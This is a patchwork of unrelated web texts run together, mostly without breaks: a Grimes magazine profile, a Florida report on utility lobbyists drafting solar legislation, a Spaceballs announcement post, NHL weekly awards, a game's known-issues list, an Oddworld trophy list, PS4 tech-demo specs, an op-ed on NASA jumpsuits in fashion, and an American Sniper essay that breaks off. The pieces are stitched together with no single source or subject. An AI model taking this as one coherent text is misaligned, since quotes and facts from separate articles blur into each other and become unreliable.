Boucher has always had a perfectionist bent, and is in the habit of pushing herself to extremes to realise her musical multiverse, whether sneaking into the motocross to mosh with jocks for her breakout video, “Oblivion”, or cloistering herself within blacked-out windows to record her last album, Visions. With a wildly creative and often subversive aesthetic, she’s created some of the most unique records and videos of the decade, drawing from easily recognisable and esoteric styles to create an ultra-modern audio-visual amalgam. As a result, she’s become an icon for those that like to blur boundaries, binaries or both, speaking to an audience unusual in scope for an artist on an indie label. In pop’s hallowed hall, Boucher may be the one with the home-dyed fringe and odd socks, but it’s hard to deny that she electrifies the room. As we cross Central Park, Boucher happily chats away, words spilling from her mouth like a cranked-open jelly bean machine. She always seems to be testing out new connections and configurations of ideas, prefacing grand political statements with “I don’t know if this is an argument I believe in, but…”, or describing a new song as “if No Doubt did Studio Ghibli”. Talking to her isn’t stressful, but her pace can feel intense. Apparently the human brain has 100 trillion synaptic connections; with Boucher you can believe it. If you look through her millefeuille of vocals, you’ll find a highly attuned eco-consciousness on Grimes’ new album, which has been through working titles of Fairy, Avalon, and Queen of the Night (after Mozart’s supernatural anti-heroine from The Magic Flute, not the Whitney Houston classic). Boucher can’t reveal the final name of the album, planning to make this announcement the day before it hits iTunes in October. “Lyrically, it’s more political and less abstract than before,” she explains. “Like, really trippy free association about nature and shit. There’s a song that’s from the perspective of a butterfly in the Amazon as people are cutting down trees; there’s a song that’s from the perspective of angels who are polluted, so they’re crying polluted tears. I feel like it’s more about the Earth. I think I was more in society when I was making it, so it feels more grounded.”
“I think my music used to be more escapist. Visions didn’t really acknowledge reality, but this record is more about looking reality in the face” – Claire Boucher
Most artists on the verge of global success see dollar signs. Boucher saw the devil. “Just before the Visions cycle started, I had my tarot done three times in a week,” she says. Every time, the cards showed the devil – a powerful arcane symbol of excess, overindulgence and bondage of any kind. As the release of her career-defining album propelled her to worldwide prominence as Grimes, the prophecy was realised before her eyes. In a sense, she’d always thrived on being too pop for indie and too indie for pop; now, the world was catching up. In a series of short, sharp shocks to the system, she played sold-out shows around the world, partied with politically dubious princes and, with her eclectic pool-slides style feted by the fashion community, DJed for Donatella. As Boucher’s visibility increased, suggestions that she relinquish creative control of her music came pouring in from, say, dance producers who wanted “an indie chick on their beat”. She always declined. Boucher has collaborated with artists in the past, such as Mike Tucker (AKA Blood Diamonds) on EDM summer jam “Go”, Jack Antonoff, and ex-boyfriend Devon Welsh of Majical Cloudz, but a track falls short of being “Grimes canon” if it’s not written and produced by her alone. Sitting in the mottled shade by Central Park’s Belvedere Castle, the sunlight catches Boucher’s face as she sips her citrus cooler. “If I was just doing vocals it would be, like, bang-bang-bang,” she says. “The production is what takes a long time. I’m a weird artist, because I’m held up to the standard of a bunch of pop singers by my fanbase. A lot of people who love Grimes love Lana (Del Rey), or Charli (XCX). I don’t want Grimes to be some kind of pristine pop star when I’m not. I don’t think the music was ever that pop.” Yet judging by her new song, “Flesh Without Blood”, Boucher may have a problem on her hands. Following this year’s hook-driven demo “REALiTi”, it’s a soaring, instantly replayable power-pop kiss-off (actually directed at a female) that could well have been written by a crack team of Swedish pop masterminds. “I don’t think it sounds like the current Top 40,” she says, sceptically. “You’re the first person who’s said that.” Whether she likes it or not, it seems primed to be her “Umbrella” moment, cementing her trajectory from cult phenomenon into a pop superstar. The question is: does she want it to be? “OK, so this is how I feel.” She takes a deep breath. “I hate that all music right now has to exist in the context of the Top 40. I just want to make music that’s good. Some good music is pop, some good music is not pop. Everyone is so driven by career stuff now – ‘Can you reach the most people? Can you get on the radio?’ It’s just like, maybe I don’t give a fuck?”
All clothes Miu Miu
A self-ruling spirit runs in the Boucher family’s blood. The second-oldest of five siblings, Grimes Jr spent much of her childhood in the mountainous wilds of British Columbia. “My grandparents live out there,” she says. “They are survivalists. They have their garden where all their shit comes from in case there’s a war from America.” Describing herself as a “weird kid who drew a lot”, Boucher attended a strict Catholic school with a blanket ban on the teaching of science – let alone evolution. Always inquisitive, she remembers “getting in trouble very early on because I questioned God and shit like that”. Moving to Montreal at 18 to study psychology (with a minor in electroacoustics) at McGill University, Boucher was not particularly dedicated to academia, but found an education in the city’s burgeoning indie community, particularly the scene around local loft venue Lab Synthèse. “She was fun to be around,” recalls Emily Kai Bock, who started a zine with Boucher called Beaubien and went on to co-direct her phenomenal “Oblivion” video. “She was shy and creative, smart and interested in weird things like deep space and learning Russian. I lived at Lab Synthèse at the time, where I made performance-art pieces using our friends as actors, and Claire played violin behind the stage.” In addition to singing backing vocals for lo-fi pop prince Sean Nicholas Savage, Boucher began to create music of her own around this time, lifting the name ‘Grimes’ from a Myspace genre she’d never heard of and putting out the Dune-inspired Geidi Primes in 2010 on Arbutus Records. But in a city where everyone mildly left-of-centre seemed to be in a band, Grimes was in danger of getting lost amid the noise. Still developing her sound, Boucher took speed while making music with a friend one day. When he came down, she was still up, so she pulled an all-nighter on GarageBand, crafting the shuffling, spectral “Weregild”, which opens with her enticing her cat to mew (“Say something for me, Voignamir!”) and would later appear on her next album Halfaxa. Finding a sweet spot between her lo-fi aesthetic and pop structure, all of Grimes’ sonic signatures were in place. “I was like, ‘Wow, this song’s so much better than anything I’ve ever made!’” she told Dummy at the time.
All clothes Miu Miu
“I wouldn’t want to be responsible for anyone taking drugs as an important part of being creative, or feel that it’s necessary,” she says today. “Because it’s not. Sometimes I play shows and there are a bunch of 15-year-olds in the audience with their parents and I’m like, ‘I can’t continue to romanticise this in public.’” All the same, she doesn’t mind people knowing that narcotics played a part in kick-starting her creative process. “I think it’s good to be a little transparent. It’s the truth. If anything, I actually feel really proud that I’ve gotten to a lot healthier place in my life. You can either keep being a dick and fucking around with your health, or you can get healthy because you need to play shows every day and it’s really hard. I think it’s good that there’s an obvious trajectory. You can look at pictures of me from two years ago and I look so much less healthy than I do now. I’m not trying to pretend that anything didn’t happen.” Transparency comes easily to Boucher, as quickly becomes clear if you follow her online, where she’s always keen to start a dialogue with those that may or may not be like her. Sometimes she’ll give practical advice, like when she wrote an Ableton tutorial for amateur musicians, or sometimes it’s more political, as in the Instagramming of her body hair. She follows through in her work, too, whether giving a platform to internet kids like Brooke Candy in her “Genesis” video, putting unknown Taiwanese rapper Aristophanes on the beat (riotous new track “Scream”) or inviting fans to dance on stage with her. “Claire has started a cultural revolution of sorts,” says Candy. “Rather than ripping us off, she shone light on us.” Boucher is secure enough in her position not to be threatened by others, but it continues to be a private battle. Following the success of Visions, she attended a number of sessions at Californian ‘writer camps’, where teams of songwriting wizards shape the sound of next year’s Billboard Hot 100. In an environment where it felt like art could play second fiddle to commerce, she not only hit a creative impasse, but was disrespected and sidelined by male co-workers. “You get good people, but there are just some bad people,” she says, looking downcast. “I went into a work situation with people being sexually creepy. It was more the engineers at the studio. You might be in there with someone cool, and then an engineer says, ‘Here’s my number,’ and I’m like, ‘Can you not give me your number while I’m at work and you’re supposed to be working for me? For real?’ I’d like to be able to go to work and not be asked on a date. I’d like to go to work and be allowed to touch the computer.” The experience inspired a ‘diss track’ on the new album. She will, at least, have the last word.
“Feminism is not what motivated me to become a musician. The reason I have fucking armpit hair is… I don’t actually like it, aesthetically! I’m just too busy to deal with it. I am a working woman” – Claire Boucher
“The fact that I have to fight to be allowed to do my own work is crazy,” she says. “I became super-feminist in reaction to the industry. It’s not like I came in and said, ‘This is my thing.’ I mean, I fucking love Kathleen Hanna, but feminism is not what motivated me to become a musician. The reason I have fucking armpit hair is… I don’t actually like it, aesthetically! I’m just too busy to deal with it. I am a working woman.” She says her “life has been significantly easier” since Miley Cyrus started posting pictures of her armpit hair this year. Like Cyrus and her high-profile Happy Hippie Foundation, which helps homeless and LGBTQ youth, Boucher’s views seem to align most closely with intersectional feminism, which accounts for other cultural factors such as gender, sexuality, race and class. On a personal level, she doesn’t relate that strongly to female gender identity in a traditional sense, writing earlier this year on Twitter, “I vibe in a gender-neutral space so I’m kinda impartial to pronouns.” Today, she echoes that statement. “I just want to be a human being. I don’t want to have to be gendered all the time, and having the constant discussion about feminism really genders me and makes me just feel so much of… something that I have never really identified with.” Hyper-aware of how her presentation is perceived, on any given day Boucher may remind you of a thrift-store Juggalette, the telekinetic daughter in Tarkovsky’s Stalker clad in her babushka, or David Bowie circa Aladdin Sane. “She’s pluricultural in the way she dresses,” says Louis Vuitton’s Nicolas Ghesquière of Boucher’s unpredictable eye. “She’s a hybrid girl: techno and hard, but at the same time classical and soft.” While she’s never relied on a stylist to shape her image, Boucher has a synergistic relationship with designers. “As a musician, I get where they are coming from, because they’re on rolling deadlines
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They're still trying to throw up barriers to Floridians going solar in any way they can, and they're happy to buy the support of legislators like Rep. Rodrigues who will carry their water for them."
Rodrigues said he received language from not only FPL but also from Solar City, a solar installation company, as well as state and federal solar industry associations. He said he listened to them all and "what I've included makes the bill better."
He defended the approach because he said he prefers to accept language from interests groups, "then pick and choose what accomplishes the goal."
FPL spokesperson Sarah Gatewood did not comment about the specific documents but said her company has "a responsibility to participate in policy discourse to ensure we can continue delivering the value and service our customers deserve."
"We are often asked to share our expertise, experience and opinion as part of the process, and as we have been actively supporting these issues," she said. "Clearly, we have spoken to and provided information to many legislators."
Small solar operators testified that while the new paperwork requirements may be handled by large solar contractors, it will impose hurdles to smaller businesses.
Richard Pinsky, lobbyist for the Florida Solar Energy Industry Association, said Wednesday that unlike Arizona, Florida's regulation doesn't put the emphasis on the seller but on the installation — licensed electricians, solar contractors.
The bill is unacceptable to the solar industry, he said, because it exempts and removes the current licensing system imposed on solar operations. "Anyone would begin to sell solar systems and you would not need an installation license," he said.
One FPL-authored provision that remains in Rodrigues' bill requires a solar company to provide the buyer with a "full and accurate summary of the total costs under the agreement for maintaining and operating the solar equipment over the life of the solar equipment, including financing, maintenance and construction costs related to the solar equipment."
Another provision written by FPL was criticized by solar industry advocates during the March 21 House hearing because it created unnecessary bureaucratic hurdles and required solar equipment providers to estimate future utility costs if they project future savings.
Bob Stump, a former member of the Arizona Corporation Commission appeared before the House committee Wednesday and said the solar industry "has not been able to police itself as well as it should" touting the regulation his state imposed on financing agreements involving "risky solar leases."
He said the consumer protections has state has adopted have not reduced expansion of solar; Arizona has seen an 8 percent increase in solar electric capacity since the rules were implemented.
"The sky in Arizona hasn't fallen," he said. "If the utilities were in a conspiracy to decimate Florida's solar industry and were truly as Machiavellian as some conspiracy theorists make them out to be, wouldn't they secretly wish for more instances of fraud and fewer protections to give the solar industry a bad name?"
Sen. Jeff Brandes, R-St. Petersburg, the Senate sponsor of the bill to authorize implementation of Amendment 4, said he does not support the added "consumer" language in Rodrigues' proposal.
This wasn't the first time FPL or its parent company provided documents to legislators advancing positions the company supported.
Sen. Aaron Bean R-Fernandina Beach, acknowledged Tuesday that he received "talking points" he used when he presented his bill to senators. The bill, SB 1248, would overturn a Florida Supreme Court ruling last year that said that Florida regulators exceeded their authority when they allowed FPL to become the first utility in the nation to be allowed to charge its customers, not its shareholders, for speculative investment in fracking operations.
The Word document, titled "Gas Reserves Talking Points" and obtained by the Energy and Policy Institute, was sent to Bean's personal email address by FPL lobbyist John Holley on Feb. 28. The document was authored by FPL's Vice President of State Legislative Affairs Daniel Martell.
"Here you go. I would love to catch up if you have any questions, comments, concerns," Holley wrote. "Thank you so much Aaron!!"
The two pages of talking points defend FPL's "innovative approach" to natural gas exploration as a hedge against price spikes, how the practice of drilling for gas "removes the middle man," and how "the proposed legislation will allow customers to reap the economic and price stability benefit of a robust gas production market."
Bean said Tuesday he was asked to sponsor the bill by Senate "leadership" but declined to identify the senator, he said, at the senator's request. He defended the practice of accepting talking points from lobbyists.
"It happens all the time. We get information from lobbyists every day," he said. "It's not unusual for a lobbyist to send talking points."
FPL has been one of the most generous contributors to House and Senate and leadership campaigns. Since 2015, Rodrigues' political committee has accepted $29,500 in direct contributions from utilities.
He said the contribution has "absolutely nothing" to do with his proposed implementation of Amendment 4. "I accepted campaign contributions from a number of people around that same period," he said.
Contact Mary Ellen Klas at [email protected] Follow @MaryEllenKlasA Surprise Spaceballs Announcement is Due Today - Could We Finally See a Spaceballs 2?
Dark Helmet is back with something that proves his Superior social virility. Tune in to @FoxHomeEnt on Periscope this Friday to find out what it is! #TheSchwartzAwakens Posted by Spaceballs on Wednesday, June 10, 2015
It's been 28 years since Mel Brooks gave us Spaceballs, and during that time fans of the ultimate Star Wars parody movie have remained hungry for a sequel. But with the passing of Spaceballs cast-members John Candy and Joan Rivers, and a general sense that the movie industry has moved on, a Spaceballs sequel has never seemed less likely than it is today. Strange then that yesterday, the official Spaceballs Facebook account announced that a special Spaceballs announcement is scheduled for some point today.Somewhat disappointingly, all of this fuss was for a special Metal Box Blu Ray release of the original Spaceballs. We won't lie, that's a pretty huge bummer, and we feel like we've been played!Could this be the moment we've all been waiting for? Is 'Spaceballs 2: The Search for More Money' finally in the works?Earlier this year, Mel Brooks revealed that he still harbored hopes of bringing the Spaceballs franchise back, especially with a new era of Star Wars getting ready to start in December. Here's what Brooks said back in February:The fact that the announcement is being hosted on Fox Home Entertainment's Periscope account would appear to suggest that, if this is a sequel announcement, it's likely going to be a VOD/Straight to DVD release. Alternatively, it could be an announcement about a new Blu-Ray special edition of the original, but there are already plenty of DVD and Blu-Ray issues out there on the market, so that would seem unlikely.Despite being a huge, HUGE Spaceballs fan, I'm not entirely convinced that a sequel is necessary anymore. Who am I kidding, it's not about necessary. I want a second Spaceballs movie and it's time to send the hype train to 'Ludicrous Speed'!NEW YORK -- Washington Capitals right wing Alex Ovechkin, Los Angeles Kings goaltender Martin Jones and Nashville Predators goaltender Carter Hutton have been named the NHL's "Three Stars" for the week ending Dec. 15.
FIRST STAR – ALEX OVECHKIN, RW, WASHINGTON CAPITALS
Ovechkin led the NHL with five goals and tied for third with six points as the Capitals (18 12 3, 39 points) earned five out of a possible six points to maintain second place in the Metropolitan Division. He began the week by recording his third career four-goal game (and 13th career hat trick), including the tying marker with 32.4 seconds remaining in regulation, in a 6-5 shootout victory over the Tampa Bay Lightning Dec. 10. After being held off the scoresheet in a 3-2 shootout loss to the Florida Panthers Dec. 13, Ovechkin posted 1-1—2, including the tying goal with 47.9 seconds left in the third period, in a 5-4 shootout win over the Philadelphia Flyers Dec. 15, the Capitals' second three-goal comeback of the week. According to the Elias Sports Bureau, Ovechkin has seven game-tying goals in the final minute of regulation during his NHL career; no other player has scored more than four such goals since he entered the League in October 2005. The 28-year-old Moscow native leads the NHL with 27 goals in 31 games this season and is tied for fifth with 37 points.
SECOND STAR – MARTIN JONES, G, LOS ANGELES KINGS
Jones posted a 3-0-0 record with a 1.00 goals-against average,.972 save percentage and one shutout to help the Kings (22-8-4, 48 points) move into second place in the Pacific Division and third in the League standings. He made 31 saves for his second consecutive shutout in a 6-0 victory over the Montreal Canadiens Dec. 10. Jones then extended his shutout streak to 177:16 before allowing a second-period goal in a 3-1 triumph over the Toronto Maple Leafs Dec. 11. He capped the week by recording 37 saves in a 5-2 win over the Ottawa Senators Dec. 14, the second consecutive game in which he faced 39 shots. The 23-year-old North Vancouver, B.C., native made his League debut Dec. 3 and is 5-0-0 with a 0.99 goals-against average,.967 save percentage and two shutouts in his first five NHL games. According to the Elias Sports Bureau, he is the first goaltender in League history to allow an average of less than one goal per game while winning each of his first five career appearances.
THIRD STAR – CARTER HUTTON, G, NASHVILLE PREDATORS
Hutton compiled a 3-0-0 record with a 1.33 goals-against average and.960 save percentage to lead the Predators (16-14-3, 35 points) to their second three-game winning streak of the season (also Nov. 16-21). He allowed one goal in both a 4-1 triumph over the New York Rangers Dec. 10 (28 saves) and a 3-1 victory over the Dallas Stars Dec. 12 (33 saves). Hutton then posted 36 saves, his second-highest total of the season, in a 3-2 win over the San Jose Sharks Dec. 14. The 27-year-old Thunder Bay, Ont., native has appeared in 14 games this season, posting a 7-3-1 record with a 2.76 goals-against average and.913 save percentage.Hey folks, here are a handful of Known Issues that you may encounter while progressing through the Shadow of Revan content. We’ll update this list as we encounter other issues or get them resolved. Thanks!
Grouped players attempting to start Shadow of Revan from another player's ship will encounter a number of issues associated with the cinematics. Workaround: Until we resolve these issues, please start Shadow of Revan from your own player ship Mission Console and then group with other players upon reaching the planet surface.
When grouped, players who interact with the Mission Console of the group leader’s ship will receive an error message or not see the Mission “Chapter 5: Shadow of Revan” as available.
If a player walks near the edge of the platform in the Trader’s Causeway, they will be killed.
The Battle of Rishi Flashpoint is missing French and German text for Light and Dark Side choices.
There are many instances of German and French text not appearing in-game.
The Mission Reward for the Mission “Shadow of Revan: Prelude” is displayed as “undefined.” The Mission still awards the correct items.
The Rishi Maze Demolisher’s MK-2 set is incorrectly named the Rishi Maze Med-tech’s MK-2.
The Rishi Maze Med’s Techs MK-2 set is incorrectly named the Rishi Maze Demolisher’s MK-2.
The “Wall Gears” Decoration does not drop in the Blood Hunt Flashpoint as intended.
It is currently impossible to complete the healing challenge during Dread Master Raptus’ encounter in Nightmare Dread Palace.
The Yavin Temple Chandelier Decoration does not drop from the Temple of Sacrifice as intended.
The Story Mode Operation tooltip does not include the new level 60 Weeklies and the level 55 Weekly category appears outdated.
Many Galactic Starfighter Component Upgrades have lost functionality.
Many Decorations have lost functionality since Game Update 3.0. Tait "pariahloki" Watson
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[Contact Us] [Rules of Conduct] [F.A.Q.]Platamire Munch
Unlock all other Oddworld: Munch's Oddysee HD trophies. 9.4%
Very Rare 4.21%
Ultra Rare
Start the Harvest
Grab your first SpooceShrub. 91.7%
Common 90.19%
Common
Outta Spooce
Reach the tunnel on the other side of SpooceShrub Forest. 61.2%
Common 61.26%
Common
Labrat Liberation
Escape through the Fuzzle Testing area. 53.3%
Common 52.07%
Common
Marrow Wa-Wa
Escape through the Hydroponic Vats. 50.6%
Common 48.76%
Uncommon
Fluoridate Hate
Escape through the Fluoride Tanks. 44.9%
Rare 43.72%
Uncommon
Narcotic Robotic
Escape through the Snoozie Lab. 41.6%
Rare 39.92%
Uncommon
Mudokon Dis-Pens-er
Get through the Mudokon Pens. 33.6%
Rare 30.59%
Uncommon
Slogging Through
Leave Sloghut 1027. 28.0%
Rare 24.72%
Uncommon
Keep the Peace
Pass the Mudokon Fortress. 24.3%
Rare 20.72%
Uncommon
Kennel Fever
Leave Sloghut 2813. 22.8%
Rare 19.68%
Rare
Paramite Runner
Survive the Paramite Run. 22.4%
Rare 19.20%
Rare
Glukkon Dressed As Meep
Shut down and leave the RuptureFarms Meep Ranch. 21.3%
Rare 18.09%
Rare
Scrabwise
Shut down and leave the SoulStorm Micro Brewery. 20.6%
Rare 17.20%
Rare
Fuel Feud
Get through the Fuel Fields. 19.5%
Rare 16.23%
Rare
Drive Away Business
Shut down and leave Magog Motors. 18.9%
Rare 15.81%
Rare
River Reviver
Restore the Dead River and enter Splinterz territory. 18.6%
Rare 15.68%
Rare
Over the Top
Get through No Muds Land. 17.4%
Rare 15.26%
Rare
Da Boilah? Da Boilah!
Sneak through the Splinterz Boiler Room. 17.2%
Rare 14.99%
Rare
Splinterz Sell
Bankrupt Splinterz Manufacturing and leave the factory. 16.9%
Rare 14.78%
Rare
Justice Awaits
Settle the Reservoir Row and enter Flub Fuels. 16.6%
Rare 14.50%
Rare
Scrub Out the Enemy
Get through the Flub Fuels Scrub Pens. 16.2%
Rare 14.16%
Rare
Glockstar Games
Bankrupt FlubCo and leave the factory. 16.0%
Rare 14.09%
Rare
Watching the Tide
Flood and flee the Loading Dock. 14.9%
Very Rare 13.19%
Rare
Great Eggscape
Leave Vykkers Labs Labor Egg Storage. 14.7%
Very Rare 13.12%
Rare
Quarma Harmer
Finish Oddworld: Munch's Oddysee HD with 10%–30% Quarma. 9.8%
Very Rare 6.28%
Very Rare
Gabbiar Savior
Finish Oddworld: Munch's Oddysee HD with 30%–95% Quarma. 15.0%
Very Rare 13.67%
Rare
Angelic Gabbit
Finish Oddworld: Munch's Oddysee HD with more than 95% Quarma. 12.0%
Very Rare 10.57%
Rare
Demonic Gabbit
Finish Oddworld: Munch's Oddysee HD with less than 10% Quarma. 9.7%
Very Rare 5.73%
Very Rare
Spooce Collector
Collect 600 (un-regenerated) SpooceShrubs. 47.8%
Rare 46.20%
Uncommon
Spooce-tacular
Collect 1250 (un-regenerated) SpooceShrubs. 22.8%
Rare 19.68%
Rare
Spoocaholic
Collect 2500 (un-regenerated) SpooceShrubs. 15.6%
Rare 13.74%
Rare
Slig Slaughter
Kill 300 Sligs. 14.2%
Very Rare 11.67%
Rare
Intern Annihilation
Kill 80 Interns. 11.0%
Very Rare 8.08%
Very Rare
Vykker Evisceration
Kill 35 Vykkers. 13.8%
Very Rare 11.40%
Rare
Eggs Termination
Destroy 75 Labor Egg Crates 10.0%
Very Rare 7.04%
Very Rare
Slig Subterfuge
Possess 200 Sligs. 9.8%
Very Rare 6.28%
Very Rare
Intern Imitation
Possess 10 Interns. 9.9%
Very Rare 6.42%
Very Rare
Vykker Masquerade
Possess 30 Vykkers. 9.7%
Very Rare 5.73%
Very Rare
Mineswimmer
Escape through the Fluoride Tanks without touching a single mine. 10.9%
Very Rare 10.01%
Rare
You Snooze, You Lose
Kill a Big Bro Slig in his sleep. 10.8%
Very Rare 9.19%
Very Rare
Sligicide
Kill 20 Sligs while in possession of a single Slig. 17.1%
Rare 14.64%
Rare
Hopping Mad
Finish Oddworld: Munch's Oddysee HD without having used a wheelchair. 10.3%
Very Rare 8.15%
Very RarePS4 Demo The Dark Sorcerer: Even More Impressive Technical Specs Unveiled, and a Little Mystery
Giuseppe Nelva June 29, 2013 1:12:34 PM EST
A few days ago I wrote an article that unveiled a few of the impressive technical specs of The Dark Sorcerer tech demo by Quantic Dream, and today we learn more of the elements that contributed to turn what basically was treated as a “old man face” joke right after the PlayStation meeting in which the PS4 was unveiled into an extremely impressive demonstration of power that dropped many jaws at E3.
For convenient reading, I’ll add the new elements to what we already know in a single list, to give a proper overall vision of the specs, that were gathered from notes by our writers present at the demo’s showing at E3, this video, an article on the Japanese website 4Gamer, the official PS blog and couple tidbits from Quantic Dream’s official website.
The demo ran in 1080p native resolution. Texture resolution was 1080p as well.
The framerate was not optimized at E3, and ran between 30 and 90 frames per second.
The demo used only 4 GB of the PS4’s 8 GB of RAM.
The DualShock 4 can be used to dynamically move the camera position and switch lighting (between studio mode and film mode) within a single frame.
The set uses about one million polygons.
Each character takes a little less than one million polygons and 150 MB of textures (there’s a reporting discrepancy here. See at the bottom of the list).
The textures for the skin and face models were actually obtained by scanning the face of actors actually cast for the project.
The sorcerer is played by David Gant, the Goblin by Carl Anthony Payne II, the Demon by Christian Ericksen and the Director by David Gasman.
The vertex density of the 3D models is comparable to the CG used for film making.
Each character uses 40 different shaders.
The scene uses Volumetric Lightning, allowing individual beams of light to be displayed when the light shines through the environment.
Color Grading and Full HDR ensure that colors are truly vivid and realistic.
All particle effects are simulated in real time and emit light/create shadows.
Limb Darkening is used to naturally darken the edges of the screen.
Effects that would normally be applied in post production like Lens Flare, True 3D Depth of Field and Motion Blur are implemented in real time based on an accurate optical simulation.
Camera lens distortion and imperfections are also simulated.
Physics-based real time rendering is used for reflections and done by the rendering engine. When the lighting changes, the shaders don’t, but the reflection effect still changes dynamically based on lighting. This is a technique that was previously possible only for pre-rendered CG at this level of detail.
An advanced technique named Subsurface Scattering (SSS) is used to simulate the shading of the skin. It involves letting the light penetrate translucent materials and then scatter and refract a number of times at irregular angles and exiting the surface again a different points. It’s another technique that was previously only used in CG.
The same Subsurface Scattering effect is used for the green skin of the goblin, the the wax of the candles and the crystal of the wand as well, despite the fact that the final result is entirely different.
To simulate the effect of wetness of the eye surface, the engine applies to it a mirrored image of the surrounding scene.
The cornea and pupil are actually modeled in 3D inside each eye.
Each hair is drawn separately instead of being a texture applied to a polygonal model.
All clothes, accessories and hair (including the feathers in the sorcerer’s collar) are physically simulated in their motion and interaction with the environment, like they were worn by a real actor
Each human model has 380 different bones: 180 in the face, 150 for the body and 50 for the exoskeleton. This is three times the number of bones used in Heavy Rain and twice the number used in Beyond: Two Souls.
The performance capture studio used for motion and facial capture has been built internally at Quantic Dream and uses 64 cameras tracking 80 markers attached to the face and 60 to the body.
The demo has been created by using the PS3 development pipeline used for Beyond: Two Souls, as PS4 development tools still weren’t available.
There’s also a bit of a mystery that we are still unable to solve. The article on the Official PlayStation blog talks about a little less than a million polygons per character, but our team reports that during the presentations at E3 “only” 60-70,000 polygons were mentioned. The other sources agree with that notion. I included the official PlayStation blog number in the list above, as it’s the most “official” source we have, but the discrepancy seems strange. We reached out to Quantic Dream for a clarification on the issue, and we’ll keep you updated if we hear anything relevant.
That’s quite a wall of text…I know. but that’s what you get when you try to describe a rather large leap in technological innovation. Now we just have to wait and see what Quantic Dream will be able to do with this kind of technology and proper PS4 development tools. One thing is for sure: seeing the demo in action it’s hard not to be excited for the next generation.Lately, it seems a certain type of reporter is clutching his pearls about the emergence of NASA jumpsuits as fashion items. In the case of Ars Technica's Eric Berger, this freak-out was precipitated by the appearance of a jumpsuit in Teen Vogue. For Vinay Menon, writing in the Toronto Star, it's model Cara Delevingne wearing a jumpsuit in an Instagram shot. How dare you, they whine. Don't you know you're not going to space?
Here's Menon:
A spacesuit for everyday wear? What’s next? A beekeeper suit for the gym? A haz-mat suit for formal functions?
Hey, bro: who asked you? That's pretty fucked up, on a number of fronts. First of all, it's a jumpsuit — I don't see any helmets or gloves or breathing-assistance devices, as one does with a spacesuit. Jumpsuits are already popular! The conflation of a spacesuit and a jumpsuit here feels deliberate, like Menon trying to make his audience see this choice as sillier than it is. Hey, bro: who asked you? Why do you think you're qualified to judge this, given that you've already indicated you're sloppy on the subtleties? High-fashion trends on models — like NASA-inspired jumpsuits — don't hit the market exactly the way they were on the runway; when was the last time you saw a civilian in Alexander McQueen's armadillo boots? What you tend to see instead are more subtle forms — people sporting NASA patches on their jean jackets or rocking a jumpsuit, generally, rather than a NASA-specific one.
NASA A photo posted by Cara Delevingne (@caradelevingne) on Dec 18, 2014 at 3:08pm PST
Second: not everyone gets to go to space, but nearly anyone can contribute to NASA. NASA needs clothing designers, like it needs lawyers and doctors and engineers. Astronauts are an important part of the deal, but they aren't the whole deal and their job is actually not possible without plenty of other people in place. Some of those people, yes, make their clothes.
We've seen this before: it's the Fake Geek Girl all over again Third, scolding fashionistas for adopting NASA jumpsuits is sexist as shit. That's not really a surprise. Fashion is coded female. The space industry is overwhelmingly male, and despite some positive steps toward including half of humanity, a lot of men really want to defend their little clubhouse. The unavoidable subtext is that both writers don't want ew yucky girls taking their Important Man Things and enjoying them. Reinforcing that space is for men is a fast-and-easy way to tell women not to even bother to try to join the club. We've seen this before: it's the Fake Geek Girl all over again. Oh, you're wearing a NASA jumpsuit? Name your favorite five astronauts.
I'd like you to stop and consider: do you think these men have worn bomber jackets without flying planes? Motorcycle boots, without being on a motorcycle? Cowboy boots, even though they don't know how to ride, not even English-style? (Cowboy boots are associated with Western-style riding, for those of you who did not grow up near horses.) Jeans, without working in a mine? Shit, man, I am certain they have worn suits without being officers in Napoleonic-era armies. The entire history of men's extremely limited sartorial choices involves taking an innovation — generally occupational, often military — restyling it in more comfortable cloth or kinder cuts, and selling it.
And these guys should have known that before they wrote their screeds. But no, they proudly wear their ignorance on their sleeves. Take Berger:
This is a Anwar Hadid on page something or other (fashion magazines rarely put page numbers on the pages). I had never heard of this guy, but he is apparently a big deal among the teens. He's the younger brother of "top models" Gigi and Bella and the son of Real Housewives of Beverly Hills star Yolanda and real estate mogul Mohamed. And now he's a model, too. (The article cites something called "Hadid mania.")
It's a little funny watching these guys clearly signal their ignorance before moving on to decry fashion as less important than NASA. But let's forget that the rise of NASA-themed clothing and design elements also reflects the popularity of the current space program (arguably, for space buffs and NASA funding, a good thing.) And while we're at it, we'll forget the history of fashion, too. Instead, I'd like to focus on what Berger and Menon are telling the next generation of designers. It is: get out, we don't want you, fashion isn't important.
The rise of NASA-themed clothing and design elements also reflects the popularity of the current space program
Listen: someone has to design flight suits and space suits and so on, because like all humans, astronauts are vulnerable to death. Those people need to be really good at working with unusual materials, excited about the possibility of contributing to the space program, and willing to take a pay cut to make something for NASA instead of, say, Bottega Veneta or the Gap.
The next generation of people who might want to design space suits are teenagers now, and may very well be reading Teen Vogue, a publication Berger makes sure to tell us is yucky right there in his lede. (Because teenage girls are gross, right? Har har har. Take my wife... please! Get back in the kitchen and make me a sandwich! Har har har. This was unoriginal in the 1950s.) Berger owes his daughter, and teenage girls everywhere, an apology for that. As for Menon: my dude, there is no way to avoid looking like an old-timey fashion victim if you live long enough. Take "living long enough to see old embarrassing photos of myself" as a win, and have a little more fun. It can't possibly hurt the space program. Besides, having no taste whatsoever is way worse than having bad taste. Ask Simon Doonan, an actual fashion expert, if you don't believe me.
A day in the life of an astronaut on the ISSby Sean Russell
This article first appeared in Havok Journal n 24JAN15.
There sure is a lot of hubbub these days about American Sniper, a biopic loosely based on Chris Kyle’s memoir of the same title. For any readers who haven’t yet seen it, the Clint Eastwood brand lives up to its name. American Sniper is slick, intense, and well-acted. It provides the viewer with some bloody, sexy special operations action you see in a Call of Duty: Modern Warfare game, or films like Zero-Dark-Thirty and Lone Survivor.
For all the clear market support for such a film – a gross of $100 million in its opening, a record for this time of year – American Sniper has come with its own to-be-expected set of controversies.
Michael Moore’s tweet in particular begs our attention. It’s all inflammatory, hyper-liberal, so tastelessly left of center I am in awe of his ability to incite so much with only 140 characters:
“My uncle killed by sniper in WW2. We were taught snipers were cowards. Will shoot you in the back. Snipers aren’t heroes. And invaders r worse”.[1]
The timing, the distain, Moore’s inflammatory tweet is almost a parody of itself, going so over-the-top in a way that makes fun of itself.
He doesn’t stop there. In a follow tweet which surprisingly has crept under the radar Moore tweets in support of the Iraqi insurgency:
“But if you’re on the roof of your home defending it from invaders who’ve come 7K miles, you are not a sniper, u are brave, u are a neighbor.”[2]
His rhetoric masterfully stops short of outright stating he hates America, but we get the subtext here. You’re brave if you’re an insurgent sniper, not an American one.
